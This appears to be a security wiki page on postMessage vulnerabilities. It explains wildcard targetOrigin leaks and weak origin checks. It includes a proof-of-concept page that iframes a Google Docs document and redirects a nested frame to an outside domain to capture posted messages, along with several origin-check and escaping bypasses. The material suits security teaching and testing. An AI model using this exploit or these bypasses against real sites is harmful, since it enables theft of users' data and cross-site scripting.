3.7 KiB
PostMessage Vulnerabilities
PostMessages wildcards
PostMessage uses the following function to send a message:
targetWindow.postMessage(message, targetOrigin, [transfer]);
Check that targetOrigin could be a url like https://company.com, so the messages can only be sent to that user secure
. Or it cloud be a wildcard "*". In case a wildcard is used, messages could be sent to any domain.
Attack
In this report you can read how you could iframe a page that at some point may sent a postmessage using a wildcard as targetOrigin and modify it's location so the data will be sent to an arbitrary domain. In order to be able to perform this attack X-Frame header must not be present in the vuln page.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
addEventListener exploitation
In order to treat the messages a code similar to the following one will be used:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information like changing a password
. If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords in this example
.
It's important to check the origin and it's equally important to check it right:
Tips/Bypasses in PostMessage vulnerabilities
Copied from https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- If
indexOf()
is used to check the origin of the PostMessage event, remember that it can be bypassed if the origin is contained in the string as seen in The Bypass - @filedescriptor: Using
search()
to validate the origin could be insecure. According to the docs ofString.prototype.search()
, the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.
"https://www.safedomain.com".search(t.origin)
In regular expression, a dot .
is treated as a wildcard. In other words, any character of the origin can be replaced with a dot. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, such as www.s.afedomain.com.
- @bored-engineer: If
escapeHtml
function is used, the function does not create anew
escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond tohasOwnProperty
it will not be escaped.
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
File
object is perfect for this exploit as it has a read-only name
property which is used by our template and will bypass escapeHtml
function.
Tools
{% embed url="https://github.com/benso-io/posta" %}